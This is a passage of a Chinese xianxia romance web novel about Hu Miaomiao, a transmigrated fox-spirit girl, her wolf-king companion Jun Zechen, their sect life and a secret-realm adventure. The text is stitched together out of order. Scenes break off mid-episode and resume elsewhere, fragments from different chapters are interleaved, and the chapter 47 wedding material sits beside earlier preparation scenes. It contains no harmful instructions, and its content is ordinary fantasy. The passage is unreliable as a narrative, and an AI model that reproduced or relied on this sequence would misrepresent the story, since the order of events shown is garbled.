其实他人很好啊,整天围着她转,什么都以她为准,她说什么就是什么,亦如此时他明明是受敬仰的捉妖师,却用那捉妖的手为她铺被子,这样的男人竟然会觉得别人会讨厌他。 狐读书少,听说什么被爱的什么有恃无恐,不被爱的卑微可怜。 她突然想到白日里男人的要求,他明明可以让“小狐狸”劝说“心上人”嫁给他,却选择让她对他好点。 他大概内心是自卑的吧,又或者是两情相悦才是真心。 四象谷两坡陡峭,中间狭而深,两侧宛若肃穆庄严的神像,镇守四方,远处可闻流水,放眼看去却只能看见浓郁的雾气,雾气深处隐约会传出似有似无的妖气。 此处居住的人常年被妖族侵扰,风俗也很混乱,比如莫小狐,就是人类和黑狐妖生下的孩子。 他从懂事起被丢入山中,年龄小打不过野兽,只能去偷村落养的鸡吃。 前几个月刚被打断了腿,好不容易养好,结果四象谷突然出现很多人族修士,刚开始吓得他根本不敢暴露人前,只能躲藏在暗中见机行事。 这里妖气很常见,一时之间也没人发现他的存在。 后来他胆子也就大了起来,听说秘境里面有很多奇珍异宝,如果他能跟着混进去,得到什么机遇就不会像现在这般狼狈,等他变厉害了,一定要把曾经欺负过他的人统统踩在脚下。 莫小狐神露向往之色,身上破旧灰色披风下的尾巴忍不住动了动。 胡淼淼下灵舟后,好巧不巧,看见了那条尾巴,眉心一挑,心跳也忍不住加速。 少年有黑色的尾巴,看起来狼狈不堪,应该正处于人生窘境,鸿蒙秘境是男主第一个走的剧情,此人出现在这里,完全和原著中描述的男主符合了。 “师妹,你在看什么?” 三师兄见她没跟上来,满脸疑惑地开口,胡淼淼回神,笑了笑,“没事,我们去找四师兄吧。” “你就是新师妹吧?幸会幸会,这个师兄给你的入门礼物,你看看喜不喜欢。” 四师兄名唤铁南,身材魁梧高大,长得也十分靠谱,笑起来憨里憨气,说话的声音也很浑厚。 胡淼淼听出,当初碎嘴兔嘴里传来的声音,正是四师兄的,这位护犊子护得紧,当初有人乱闯御兽宗追求王岚,就属他最为暴躁把人家打得爹妈都不认识。 他送的礼物也……很可靠。 轩辕看了一眼又一眼,忍不住道:“虽然是上品泽铁打造,但这个送给师妹不适合吧?” 谁家文文静静漂漂亮亮的女孩子拿个锤子? 没错,就是锤子,还是镶满尖锐铁刺,椭圆形的锤子。 眼里只有钱的三师兄表示,看不下去。 四师兄不以为然,“上次小五就吃了没有锤子的亏,才有癞□□大胆调戏,咱家小师妹可得听师兄的话,这锤子你拿着将来若是碰见哪个登徒子,给我打断他的腿!狠狠打!” 他们御兽宗的女弟子,就得好好护着,谁动歪心思砸谁! 胡淼淼尚未有动作,她肩膀上的黑色毛团子探头探脑,跟着点点头,唔,是个好东西,锤死那些偷看的登徒子! 胡淼淼接过铁南递过来类似于狼牙棒的铁锤,露着面具外面的红唇勾出一抹笑意,“谢谢,我很喜欢。” 铁南不是很会和妹子相处,他挠了挠头,嘿嘿道:“女孩子应该都喜欢漂亮的,不过我一个大老粗买的你也不会喜欢,这个铁锤是我自己淬炼,还特意加上了铁刺,修真界畜生多,今后谁若是欺负你,尽管砸。” 那一锤子下去,砸不死也得坑坑洼洼。 轩辕扶额,“行了,你照顾好师妹,我就先走一步,御兽宗还有很多账没算完呢。” 胡淼淼对他道了谢,然后跟着铁南找到角落,布置了一个结界,等待秘境到来。 铁南视线落在她肩膀上,“这个就是你的契约兽吧,长得真别致。” 君泽琛回想起对方制造的锤子,背脊上的皮都跟着紧了紧,对铁南叫了一声。 铁南乐了,“它还挺有灵性,就是太小了还需要成长,带入秘境很危险,为什么不放在灵兽空间里?我家大熊就放在里面呢。” 御兽宗的弟子都有契约兽,听这名字,四师兄的契约兽是一只熊,倒是和他很匹配。 说起灵兽空间,胡淼淼有些忧愁,“四师兄,你当初是怎么牵引灵兽入空间的,为什么我弄不进去。” 铁南一愣,“怎会如此?我的灵兽空间扒拉一下就进去了,只要和灵兽签订了契约,都能进入,难不成你契约的时候出了问题?” 胡淼淼点头,“确实出了问题,我的灵兽身体不好,当初契约的时候陷入昏迷,不知是不是这个原因。” “这个我不懂,都是大师姐教我的,你到时候用通灵玉问问,或者等从秘境回来,让她看看你的契约帖,师妹你在这等等,我去抓几只兔子,回来烤着吃,我家大熊一顿不吃饿得慌,一会你家灵兽也尝尝鲜。” 事到如今,也只能这样。胡淼淼一边看居住在木兮山仙门的地图,一边摸小黑球,便见小兽宛若遇见危险的小猫咪,当场表演了一个原地炸毛。 她停下脚步,把它从怀里捧到眼前,笑着安抚,“乖!别怕我是好人。” 【矮油,奶凶奶凶的,你咬我啊。】 胡淼淼手欠,坐在原地无聊,开始拨弄小毛球的脑袋,成功把幼崽惹炸毛,翻了个身,用尾巴尖对着她,她撑着下巴,又把目光瞄准其他门派。 远古秘境即将开启大宗门都在养精蓄锐,鸿蒙秘境这个打头阵的秘境,对大宗门来说反而没那么重要,来到这里的都是一些历练的外门小弟子,修为也不是很高,至少如果秘境中遇见,她能应付得来。 只是刚才看见的那只妖…… 胡淼淼垂眸思索,原著里男主是从这里开始逆袭,那么刚才看见的尾巴少年应该是男主。 君泽琛耳朵动了动,又调转个方向趴着,正对着黑狐的方向。 “在下离火门弟子普向阳,冒昧前来叨扰,敢问姑娘何门何派?” 一道声音打断胡淼淼的思绪,她抬头。 少年一身白衣,袖口襟口处绣着火云纹,说话看似谦和,眉眼之间却藏不住的傲然,眼神也让人很不适。 他身后还跟着几名弟子,修为筑基中期,在修真界十八九岁能有如此修为已是不错,想来他们的宗门在修真界有点名头。 可惜,胡淼淼不想认识,对上少年别样色彩的目光,不咸不淡道:“确实冒昧,如今秘境就要打开了,诸位何不趁着这个时间多做准备?” 女子声音很好听,只不过话却很不中听,少年身后的其他人不悦道:“距离秘境开始时间还有半个月,我们师兄能找你攀谈是看得起你,依我看,你藏头露尾必定有不可告人之处,传言四象谷有妖族作祟,作为修真正派弟子,自然要防范于未然。” “就是就是,我师兄不过来慰问两句,你还不识抬举,不会就是混入我们当中的妖吧?” “面具摘了,让我们检查一下。” 胡淼淼眼皮跳了跳,什么鸡零狗碎的东西,主角在那边,她又不是主角竟然找茬找这边来了。 这边的动静,很快引起了周围人的注意力,不过他们在一旁看热闹谁都未曾插手此事。 他们早就听闻离火宗的嘴脸,什么妖族,不过是借题发挥罢了。 众人并没有插手的打算,少部分年轻人心生不忍,想上来帮忙,却被自家长辈拦住只能眼睁睁看着一群人欺负一个小姑娘。 这就是修真界,多一事不如少一事,嘴上说什么以人为本,心怀苍生,事实上又有几个人能办到? 和在狐族受的皮外伤不同,这是内里的痛,仿佛五脏六腑都被火烧着,她的脑子晕乎乎的,更像上次喝的酒,神志渐渐模糊。 勉强撑着眼皮,看见了前方的水面,拨开碍事的灌木,一头扎了进去。 大量的水灌入鼻腔,妖力在筋脉里漫无目的地乱窜,她疼得痛呼出声,又被水压得窒息。 毛绒绒的大尾巴控制不住从裙下钻出来,以及狐耳耷拉在脑袋旁,极力堵住耳朵,不想进水。 她晕乎乎的想着,这个时候进水,她会不会变成一只傻狐? 水色朦胧了她的视线,她极力想要用收服筋脉里的妖力,可是她的妖力的掌控力太差,妖力到处煽风点火,烧掉她仅存的理智。 狐要炸了! 她在水里到处乱窜,到处游,狐尾巴在水中飘荡,湿漉漉的像是丧家之犬。 终于,在她彻底沉下去之际,一只大手倏然将她拉出水面。 她影影绰绰听见熟悉的声音,说:“放轻松,剩下的交给我。” 第 45 章 第 45 章 水狐和普通狐族不一样,胡淼淼生来就不怕水,可是体内未知的力量让本就胆小的她害怕了。 熟悉的气息和带有安抚的嗓音,让胡淼淼抓住最后的稻草,她凭借本能贴上去,双手如同柔软的水草,缠在男人脖颈上,死死抱住,呜呜呜地告状。 “嘬嘬,我难受。” 这种时候,君泽琛已经懒得去纠正她的称呼,他一手扶着她的后背,将她呛进口鼻的水压出来,另一只手来到她的腹部,准确地找到了她妖丹的位置,稍微探查,发现是魅果的力量太过强大,这只小弱狐狸快被撑爆了。 他心里一沉,嘴上安抚着她的情绪 ,手上的动作干净利落,毫不客气将自己的妖力传送进去,帮她梳理经脉。 体内进入第三种力量,胡淼淼嗷呜一声,想翻身,却被男人压制得死死的,疼得她一口咬在男人脖颈的黑纹上。 狼纹极其敏感,一般情况下是不会让外人碰的 ,她的犬齿伸出,毫不客气镶嵌进去,让他闷哼一声,两只手都用着,干脆抽出狼尾巴,惩罚性地在她狐尾上抽了一下。 胡淼淼现在神志都迷糊了,根本不知道是什么东西,被吓了一跳,紧接着就感知到自己的尾巴被什么东西缠上了。 不过他们平时打打闹闹,遇见事情也是真护短,往日有其他仙门的弟子相中了王岚,被其他师姐师兄们打得六亲不认,走着来御兽宗,抬着回去的。 小兔子站在石头上抱着胡萝卜,绘声绘色模仿,“就你这癞□□也想吃天鹅肉,我告诉你,我们宗门的女弟子轮不到你这禽兽觊觎,别说是你,就是其他人谁若是对我们宗女弟子生出不轨之心,也得看看他的小身板抗不抗揍。” 君泽琛莫名地觉得背脊发凉,下意识低头看了看自己的小身板,他现在幼年期,还能长。 将来会是一只威武雄壮的妖。 君泽琛惊觉不对劲儿。 不对,他们要揍的是觊觎宗门女弟子的人,和他这只无辜的妖有什么关系? 胡淼淼没察觉肩膀上的小毛团子的异样,听得津津有味,小兔子口中的声音她没听过,应该是那位没见过面的四师兄,通过浑厚的声音可以听出,是个很可靠的汉子! 至少比她现代的哥哥可靠,动不动就玩失踪。 在碎嘴兔这里待了一会后,胡淼淼没闲着,去找王岚打听还有什么方法能赚到钱。 王岚:“我给你的通灵玉,你打开御兽宗,除了弟子们新发的灵言,下边还有一个发布任务的,你可以看看能不能接到。” 修真界真会玩,胡淼淼眨了一下眼睛,用灵力打开通灵玉,果然【御兽宗】点进去,左下角有【任务】二字。 点开后通灵玉金光一闪,竟然有光束从中闪了出来,胡淼淼面前出现了一排排任务板块,她神奇地伸手去触摸,白皙的指尖穿过光影,抓到的只有空气。 胡淼淼拍拍君泽琛的头,感叹道:“真神奇。” 君泽琛不满地甩开她的手,跳出她的怀抱,迅速爬到一旁的树上,揣着爪子居高临下看她。 胡淼淼:“……” “你可爱你任性。”她嘀咕一声低头扒拉任务,前世她没毕业后就开了宠物店,想要用心养宠物花销必不可少,尤其是宠物生病,足够掏空铲屎官的钱包。 只不过前世她有哥哥撑腰,不愁吃不愁穿,而她现在灵石不多,将来如果小崽崽有什么意外根本没钱看病。 胡淼淼略感惆怅,开始怀念现代的那位,也不知她走后,那边如何了。 系统:“那你为何不想办法做任务,赶紧回去?” 胡淼淼道:“我哥说了,遇见事情不要慌,如果有人引.诱我做什么肯定不是好东西。” 系统:“……” 膈应完系统,胡淼淼垂下眼眸,摸了摸小崽子。 其实,她也不知为何,总感觉记忆中的那个身影在来到这个世界后淡化了,不刻意去想根本想不起来。 说来奇怪,明明一起生活那么多年,为什么不想回到那个世界找他呢? 想不通干脆不想,胡淼淼低头看任务。 【山下避水山庄庄主女儿的幽灵猫丢了,前来我宗发布任务,奖励10上品灵石。】 一块上品灵石,可是一百块中品灵石啊!一块中品是一百块下品灵石。 想当初慕言辞给原主的那块玉佩,就值一块上品灵石,还以为多值钱呢,结果人家找个灵兽,都舍得花十块上品,青泽宗大弟子哄草都那么抠门。 胡淼淼唾弃,眼馋了一把,不过并没有接幽灵猫的任务。 毕竟慕言辞哄草不舍得花钱,追查她却舍得下血本,三千万块上品灵石还在【修真界奇闻】的悬赏令上呢。 所以她不能出御兽宗。 “不能出宗门的任务……”胡淼淼若有所思地翻找一圈,御兽宗穷,任务也都是些琐事。 【弟子孙放,身体不适,所负责的灵兽恳请帮忙照看,一块下品灵石。】 外门弟子一个月才十块下品灵石。 胡淼淼无奈之下多接几个这种任务,多照看几只,反正哪只灵兽有需求,她能听到附近的植物传话,来得及照看。 只不过…… 胡淼淼收好通灵玉,仰头看向还在“睥睨众生”的小崽子,“你下来,我送你回家,好好待着别出来不然我还得照顾你。” 君泽琛跳下来,优雅地窜到她身边,垮着猫脸:“唧?” 胡淼淼:“你别多想,我就是为了赚钱养你,我能和其他兽有什么关系?” 【一边赚钱,一边摸其他毛绒绒,嘶哈嘶哈!】 君泽琛:“……”我听到了! 她就是想背着他去找其他兽。 小黑球硬生生炸了一圈毛,对她叫了几声,表示自己会回家,然后就消失不见了,从背影能看见几分仓惶和落寞,好似每一根毛毛都散发着怨气。 胡淼淼眨了眨眼睛,她是不是有点过分了? 谁家小猫咪喜欢铲屎官外面有其他猫,他一只小兽爱争宠能有什么错? 胡淼淼有点不放心,本想追上去通灵玉闪烁了一下,提示任务时间到了,既然接了任务就要准时完成,不然还会扣钱。 她只好停下脚步,去照顾那几只兽,一天下来,赚了十块下品灵石,但她心里惦记着小毛球,没什么心情摸其他兽兽。 正准备回家,通灵玉发来消息,让所有弟子紧急集合。 太阳西斜天边留下一道蔷薇色的光晕,照耀整个宗门场地,经过宗门一天一夜的调查,近年来,每年都丢失一两个灵兽。 只不过后山总有野生灵兽跑进来,宗门也不好驱赶便混淆在了一起,导致没怎么注意。 三师兄不知用了什么手段,王云没坚持多久就招了。 他试图求原谅,说什么上有老下有小还要靠他养活,宗门废除了他的灵根,派人前去打听王云的家人。 同时打算公开处刑,势必要借此机会敲打宗门弟子,勿要动歪心思。 其他宗门怎么对待灵兽他们管不着,但只要在御兽宗,一切都要以灵兽为主,宗门绝不可再出现这种情况。 然而还没等实施,看守王云的弟子突然找轩辕说王云不见了。 宗门紧急通知所有弟子集合,让他们快些找人。 而白日里调查王云家境情况的弟子也回来了,原来王云嘴里没有一句是真的,不过是想要博取同情拖延时间罢了。 王云孤身一人摸打滚爬多年,逃命能力一绝,御兽宗那半吊子牢房根本困不住他。 好不容易等到天黑,他打晕守门的弟子,跑了出去。 天色昏暗,他一身血衣,狼狈地避开正门躲到后山。 御兽宗后山开放,层峦叠嶂,林立树木耸立,遮天蔽日,西斜的微弱光芒根本渗透不进来,想要追踪一个人更是难上加难。 等他们发现王云逃跑,王云已经铆足了劲到了山林深处。 他回头,阴邪一笑,该死的御兽宗,为了几只小畜生对他赶尽杀绝,等他出去就告诉其他宗门,御兽宗离经叛道私自圈养妖兽,和妖族合作对人族图谋不轨。 不过一个小破宗门,如果不是他缺灵石,谁稀罕进来,还真以为很了不起吗? 还有那个女人,敢抽他,最好别落在他手里,不然定要让她求生不得求死不能! 王云舔了舔干裂的唇角,忍着满身疼痛转身继续跑,没跑几步,周围景色更加阴暗,空气冷冽得好似凝固几分,树影婆娑,留下的阴影仿佛吞天食地的巨兽,前方的灌木丛中传来的沙沙声,越来越近…… 王云倏然提高警惕,“什么人?” 难道是御兽宗的人追来了? 也不是没可能,毕竟内门的那些弟子还是有些实力的,传言大师姐已经金丹后期,堪比大宗门的天才,如果被她再次抓到后果不堪设想。 自君泽琛成为狼王以来,从未有人敢在他脑袋上放肆,更不会让狐狸近身,更别提被狐狸尾巴连抽。 当然了,那狐狸尾巴很软,对皮糙肉厚的狼王造不成伤害,和挠痒痒差不多,把他的心挠得悸动半天,挼了好一会狐狸尾巴才缓解。 但胡淼淼都提到这了,君泽琛抬了抬下巴,试探道:“你昨天做的事多了,你说介意的是哪样?” 坏了!胡淼淼暗叫一声遭,她昨天到底对他都做了什么。 见男人终于露出不会善罢甘休的模样,胡淼淼手指疯狂戳被子,一咬唇,“那个,昨天的事,我会对你负责的。” 末了,狐狸觉得很委屈,大声控诉:“但你就没责任吗?你凶什么凶。” 君泽琛:“?” 不是,什么负责,他凶什么了? 第 46 章 第 46 章 胡淼淼说负责就一定要负责,君泽琛也没有想到,有朝一日,求婚这件事被小狐狸抢了先。 她说:“既然我们已经发生关系,总不能一直这样耗下去。” 然后,她对狼王求婚了。 君泽琛措手不及,狼的脑子没跟上狐脑的转速,惊了又惊,才发现笨狐狸是误会了昨天那件事儿。 他沉吟几秒,说:“其实昨天什么都没发生。” 只不过是帮她疏通妖力而已。 这小种子或许是胡淼淼的木灵幻化,和她同源,连契约帖都能屏蔽的秘境中竟然没有屏蔽它对本体那边的感应。 在确定“没被发现”后,小种子撒丫子跑,向南狂奔,君泽琛在身后默默跟上。 期间碰见的秘境妖兽,也都是一两阶的,堪比人族修士筑基初期,不足为惧。 君泽琛不知自己什么修为,但作为能幻化成人的妖,必然比这些小东西更厉害。 况且,从进入秘境他就有一种莫名的归属感,好像控火能力更强经脉更畅通,不再受到化妖水压制。 他不知是只有他自己,还是其他人都是,然而当遇见其他人族修士后,君泽琛发现确实只有他自己,因外在外界筑基和金丹的修士,竟统一被压制到炼气期,别说是寻宝,便是连自保的能力都没有。 思及此处,他心急如焚想快点找到胡淼淼。 “那边的道友,你怎能见死不救?” 那边,几名弟子被一条巨蟒打趴下,看见路过无视他们的少年,像是抓住救命稻草扯着嗓子喊。 君泽琛理都没理,奔跑,整个人都留下残影了,眼看即将落入巨蟒口里,有人绝望,“想不到一个小秘境里的生灵竟如此厉害,如果不是缺少灵石,这碧天九罗蟒浑身是钱,我也不至于拼命……” 可是值钱又如何,他根本没命去夺。 然而就在碧天九罗蟒张开血盆大口即将把他吞入口中时,一团烈焰从天而降,空气瞬间升温。 身受重伤的其他人,眼睁睁看着窜走的那小子紧急停下,转眼就不要命似的冲向巨蟒。 巨蟒胜在体型,皮糙肉厚,刀枪不入,少年幻化出一个烈焰长枪,通体泽色,诡异的红纹,枪头为银色,泛着幽冷的光,狠狠扎入巨蟒的皮肉,火灵从伤口窜入,霎时间皮开肉绽还有一股子烧焦味。 伴随着巨蟒的嘶吼众人一阵心惊,他们这些人合力用尽了手段才堪堪留下两道划痕,而这个看起来年级不打的少年,紧紧几下,竟生生破开了巨蟒的那层屏障。 他们互看一眼,到底是何方势力的天才,在秘境中还如此骁勇。 以前怎么没见过。 轰隆隆,在众人惊悚的视线下,君泽琛速战速决一枪插入巨蟒的七寸,把它钉入地上,一脚踩上它的脑袋,回头问众人,“哪值钱?” 众人:“???”敢情这位小友不是救他们,而是为了钱财。 君泽琛见他们不说话,眉宇微微蹙起,“不能换灵石?” “啊,能能能。”见识到他的实力,众人就算想瓜分点什么,也不敢动歪心思,连忙道,“牙齿,蛇丹,还有那一身皮肉,等出去都可以去天机阁管理的商铺换好价钱。” 君泽琛满意,低头麻溜扒皮,脏脏的血液直接用火灵蒸发,在众人眼里,举手投足之间却说不出的赏心悦目,不知是不是错觉,他们仿佛看见了此人身后有一条大尾巴正欢快地摇着。 等他处理完又问众人,“此处还有什么可以赚灵石?” 一人道:“秘境到处都是宝贝,便是地上的草也可能是珍贵的草药,妖兽的内丹会更值钱,秘境中还有很多现世没有的东西,道友可四处看看。” 都可以? 君泽琛点点头,正要走人,又想到胡淼淼的吩咐,扭头对众人礼貌道谢,才转身循着小种子跑的气息继续追赶,期间并没消耗太多时间。 不同的是,这次所过之处,雁过拔毛,还碰见了蜘蛛群,他看着那群蜘蛛的腿,上面的毛发非常茂盛,他又抬胳膊,看自己属于人类的手心情失落。 那个人类就喜欢毛绒绒的,现在他如何跟这些长毛的小生物比,如果让她看见这些…… 君泽琛脑海中浮现女子身着绿衣,开开心心追着蜘蛛摸蜘蛛腿的画面。 无论是在秘境之中,还是妖界,从来都是弱肉强食,强者为尊。 少年盯着那群蜘蛛,眼中泛起冷意。 蜘蛛们正在寻找方才跑掉的香香食物,突然感受到危险气息,纷纷狼狈逃窜。 君泽琛以一人之力,包围了它们一群。 这片区域一时之间鸡飞狗跳。 另一边胡淼淼尚且不知追了她半个秘境的蜘蛛们,正处于团灭危机中,她好不容易甩开恶心的生物来到陌生的地方。 一条蜿蜒的小溪像是一条分割线,把秘境分为两部分,后方是茂密的丛林,蕴含着数不清的秘境原始生物,前方却是花团锦簇,仿佛一片粉红色的花海。 甜蜜的气息蔓延在每一处角落,一两只看起来正常的大小的蝴蝶追逐,偶尔逗留在花间,宛若世外桃源。 越是美好的事物往往蕴藏着致命的危险。 胡淼淼停下脚步警惕地观察四周。 “系统,化妖果在这里吗?” 系统:“对,不过此景不对,化妖果应生长在峭壁上,而且……” 不等系统说完,粉红色的瘴气从花海中蔓延,哪怕胡淼淼躲闪也瞬间被淹没。 魅惑的轻笑在耳边炸开,好像有人在耳边吹气,胡淼淼回眸,四周什么也没有。 “什么人?” 她指尖掐诀,发现浑身软绵绵的调不动丝毫灵力,腰间被什么撞了一下,她一个踉跄栽入粉红色花圃中,鼻腔被甜腻的味道填满,花瓣纷飞,身下格外柔软,不像种花的土壤。 而是…… “你摸到人家尾巴了。” 有什么从掌心溜走并抽了她胳膊一下宛若情人之间的调情,胡淼淼眉心一跳,抬头见红衣男子正蹲在她面前,随着他的动作轻晃,有几缕发丝扫过她的脸颊,引起一阵阵酥.麻。 男子眉眼明艳无双,细眉妖娆凤眸勾人,眼中潋滟流转着无尽风情,对她轻眨着眸子,调侃道,“你好香。” 胡淼淼额间青筋一跳,“你是什么东西。” “我吗?”男子轻笑,捋了捋耳侧的头发,一双眼睛直勾勾盯着胡淼淼,以及她衣领露出皮肤。 狐冶诞生于秘境,血脉中流淌着九尾天狐的血,可惜身体受限,只能被困在秘境里。 所以哪怕秘境开启,依旧出不去。 他不甘于此,感知秘境中来了来了一个特殊的东西,便催动低阶物种把此人去驱赶过来。 他能从这个人类身上感知到致命的吸引。 她身上的气息很复杂,除了吸引妖的香味,还有一种“道”的力量。 只要吃了她,这方天地就不再是他的威胁。 狐性顽劣,喜欢美丽的生物,更喜欢把猎物玩弄于鼓掌之中,狐冶掩饰眼底的贪婪,状似不经意伸出尾巴,果然,此女眼睛跟着动了动。 “你要再摸一下吗?”胡淼淼一边想,一边充满警惕地看着狐冶,暗搓搓从地上爬起来。 谁料,她退一步,对方靠近一步,颇有些咄咄逼人的架势。 “是呢,你们人类常说的狐狸精,你很怕我?” 胡淼淼恼恨,但凡她不身软,也要把这只狐狸精打回原形,往死里薅毛,她干脆坐在地上不动,仰头道,“这粉色的雾是什么?” 狐狸精轻眨眼眸,“我狐族秘术,怎么样喜欢吗?” 粉色的云雾停留在半空,他们除了彼此还有脚下的宛若罂粟的花之外,看不见其他事物,呆久了会越陷越深,只要是有神智的生物都会迷失其中。 狐冶盯着猎物的眼睛,像是想从中看见一丝迷惘,发现她从始至终都十分清醒,眼中仿佛有细碎的光,明亮有神。 有趣,竟然能抵抗住九尾天狐的迷幻之术。 狐冶伸出手把胡淼淼拉起来,弯了弯唇角,露出尖锐的犬齿,“不如你告诉我你是什么,我带你出去。” 他很好奇,这个人类模样的女子,到底是什么,又长着什么样的面孔。 思及此处,他就要去摘胡淼淼的面具。 胡淼淼眼眸轻眨,按住他的手,笑出声,“你不带,我也能出去。” 男子一愣,再次看去,发现她面具露着外面的黑亮虹膜变成了翠绿色,宛若晶莹的绿宝石,漂亮得不可思议。 噗嗤—— 胡淼淼吞了吞口水,艰难地移开视线,“你是狐妖?” 此处过于诡异,她是无垠草,一般毒物并不会给她造成影响,那这瘴气到底是什么? 绝对是眼前这只看不清实力的妖作为,胡淼淼哪怕再喜欢毛绒绒也要把性命放着第一位。 都这种情况了,谁会不怕死地去摸这妖怪的尾巴。 唔,克制一些,想想崽崽,她是有毛绒绒的人,等拿到化妖果,找到小毛球一定大摸特摸。 “不错,去人界就是得变成这样。”红溯魇满意地点了点头:“很好,就是这样。” “那么接下来,跟我叫。” 众狼严肃脸:“大人,您叫。” 红溯魇仰头长啸:“汪!” 众狼:“???” 红狼:“愣着干什么?都给我把尾巴翘起来,汪!狗叫会不会?不会狗叫还不会学吗?” “……” 第 47 章 第 47 章 婚礼定在十月十日,图个好兆头,他们想要婚姻十全十美,胡淼淼原本打算再往前选日子,不知怎么被男人拒绝。 她严重怀疑某个渣男得到就不珍惜了,旁敲侧击无果后,她选择化身小狐狸悄悄跟踪。 漂亮的小狐狸鬼鬼祟祟地匍匐在草丛里,偶尔遇见虫子,被吓一跳,就会对小虫子虫身攻击,一抬眼,见男人走远,赶紧晃着尾巴追上。 胡淼淼的气息对于君泽琛太过熟悉,熟悉得就像呼吸,有心事的男人一时之间竟没察觉到,他眉宇紧锁,仿若遇见狼生中最大的难题,行事匆匆下山。 狐狸在后面支棱起前爪,对他的背影气愤地比比划划。 可恶的男人,还没成婚呢,就知道背着狐狸搞坏事。 她一路尾随来到山下的小镇,发现男人进了一个布料铺子,有些眼熟。 眯起眼睛一看,他们之前来过的那一家。 他来这里做什么? 衣服不是已经取回来了吗? 胡淼淼还被分了几件狐狸穿的衣服,狐狸有一身皮毛,原本是不用穿衣服的,可是这男人不知中了什么邪,非要让狐穿。 人形的时候还好,但狐身穿怎么都不自在,每次男人一给她穿完,她就火速用爪子扒拉开,迅速脱掉衣服,并且放在地上踩两脚留下几道梅花印。 最后君泽琛拿她没办法,只能任由她来。 难不成他在衣服上搞什么阴谋? 狐狸趴在房顶上,爪垫托腮。 明天找助药师给崽崽看看脑子吧。 别是烧坏了。 当天晚上,君泽琛做了一个比较不友好梦。 梦里,那个人类丢下他和渣男跑了,怎么追都追不回来,再次相见她和那个看不清脸的渣男待在一起在他眼前晃。 本应该给他的东西,都被胡淼淼给了那个渣男,眼神都不给他留一个。 气得他当场幻化人形,杀了看不清脸的那小子,夺回胡淼淼,掐着她的腰问,“是我不够乖还是没那男人长得好看,你非要和他走。” 梦里,她这样回答:“你不让我摸。” 君泽琛:“……”可以,这个理由,确实是他的问题。 他不知怎么想的,红着脸把她的手放在自己身上,“摸…摸吧。” 给摸,就不许去找其他人。 妖族得天独厚,除了特殊种族就没有太丑的,而且君泽琛风里来雨里去经常和其他妖族打架,身材好得没话说,哪怕隔着布料,腹部的肌肉也必定比那个渣男好摸。 君泽琛板着脸,一本正经地想着,就给她摸一下,他这绝对不是有其他心思,就是想让她对比一下,吃点好的,别什么样的臭虫来了都和那人走。 那渣男哪哪都不行,世界上的好男人多的是,不要找花里胡哨虚情假意的负心汉。 所以,君泽琛决定牺牲自己,让她摸也不是那么难以接受。 未曾想,对方眨着眼睛,语气颇为嫌弃,“不好摸。” 没有毛绒绒软。 君泽琛:“???” 第二日,胡淼淼腰酸背痛地起身,把小毛球从脖子上薅下来,一头雾水检查了一番,发现自己腰部两侧都青了一大片,像是被人用大手攥的,她倒吸了一口凉气,“怪不得这一觉睡得这么累,绒绒,昨天晚上咱们房间里是不是进贼了?我睡死了你还察觉不出吗?” 君泽琛没来得及躲避,一抬头就看见人类女人撩起的衣衫,他迅速别开脑袋团成一个球。 然而一闪而过的腰肢,纤细,白皙,以及碍眼的淤青痕迹,还是印在了他的脑海中挥之不去,耳朵浮毛下的皮肤瞬间红了。 她……她怎么这样! 掀衣服都不避着……妖。 君泽琛在妖族那么多年,警惕性很高,有没有贼人他最清楚,他低头盯着自己爪尖儿发呆,昨夜,他不会幻化成人形了吧? 胡淼淼捣鼓半天,还是对昨天晚上有没有异常没啥印象,干脆放弃思考,暗中想以后睡觉一定警醒点,她打了个哈气,穿好衣服把床上的毛绒绒抱进怀里。 说来奇怪,今日的小毛球格外安分,他一动不动像是一个任由摆布的毛绒绒玩偶。 胡淼淼有些担心,怕不是昨天坏了脑子,去找助药师复查确认没毛病,终于松口气。 然后又被宗主叫去,宗主很关心小崽子的身体情况,又知道一只病兽花销不小,她刚入内门手里应该没什么钱,于是奖励了十块中品灵石,以及一个内门弟子腰牌。 “腰牌上有我的留下的一道灵力,若是遇见危险可抵挡初期元婴的致命一击,你且收好。” “多谢师尊!”胡淼淼已经改了称呼,小心翼翼把保命的腰牌系好,“师尊,我的灵兽需要几味药材,只不过世间少有,最近都在传鸿蒙秘境,弟子想去碰碰运气。” 宗主蹙眉:“历代秘境都有大宗门把守,鸿蒙秘境第一次出现尚未有人进去过,必定危机重重,你才筑基期,如何能去。” 胡淼淼道:“修真本就逆天改命,如果因为危险便不去怎能成事?况且弟子就去碰碰运气,不行就回来。” 周宗主眼底闪过一抹沉思,“这样吧,让你三师兄启动灵舟送你去和老四会合,老四已到金丹初期,和你一起也有个照应。” 胡淼淼本不想牵连他人,不过宗主的意思是,就算不让四师兄去鸿蒙秘境,那厮也会去其他地方作死,倒不如让他们两个一起作。 按照天机阁的推算,鸿蒙秘境还有两个月,走之前胡淼淼还要准备一些东西,比如面具。 最近日子过得太平,可是胡淼淼不认为慕言辞会放弃无垠草,未免出去碰见麻烦,还是要遮挡一下。 普通的面具难以抵挡高修为的修士,胡淼淼联系王岚,王岚说:“三师兄那里以后不少宝贝,不过他就是认钱不认人的黑心肝,你去找他,得花灵石。” 含泪花费五块中品灵石的胡淼淼深以为然。 她怀疑,三师兄是不是和二师兄的姓氏弄反了? 不应该姓轩,应该姓周,名扒皮。 没错,三师兄姓轩,名辕! 亏她以前还羡慕过。 好在,面具买来了,是一个银白色面具,能遮挡住鼻子以上的大半张脸,露出眼睛,上面描绘着绿色缠枝纹路,蕴含着某种遮掩隔绝窥探的阵法。 胡淼淼爱不释手,左摸摸右看看,感叹一声:“五块中品灵石就这样镶脸上了。” 除此之外,胡淼淼还买了两个空间戒指,花费了宗主给的全部积蓄,她把一枚黑红色猫眼石一样的空间戒指用绿色布裹上一圈,戴到小毛球脖子上,“你要随我进秘境的,如果走失就躲好等我去找你,看见好东西悄悄装进空间里,知道吗?” 君泽琛蹲在她肩膀上,看她满脸肉疼,不由得抖了抖耳朵,“啾呜!” 知道了,以后我会攒很多很多宝贝。 赚很多很多灵石,还给她,然后再赚很多很多灵石,让她随便花。 从前,他的救命药都是她花灵石换来的,如果没有他这个拖油瓶,她哪会这般缺钱。 君泽琛作为一只男妖,不会白吃白喝,等他能随意变换人形,就去赚灵石养她。 胡淼淼乐了,笑眯眯揉揉他的脑袋,“好我等你!算你有点良心没白疼你。” 很快,宗门的人知道胡淼淼要离开去秘境,要说感情,或许是王岚和胡淼淼更深一些,其他人还没怎么相处。 在离开之前,大师姐特意履行师姐责任,要教胡淼淼一些御兽理论。 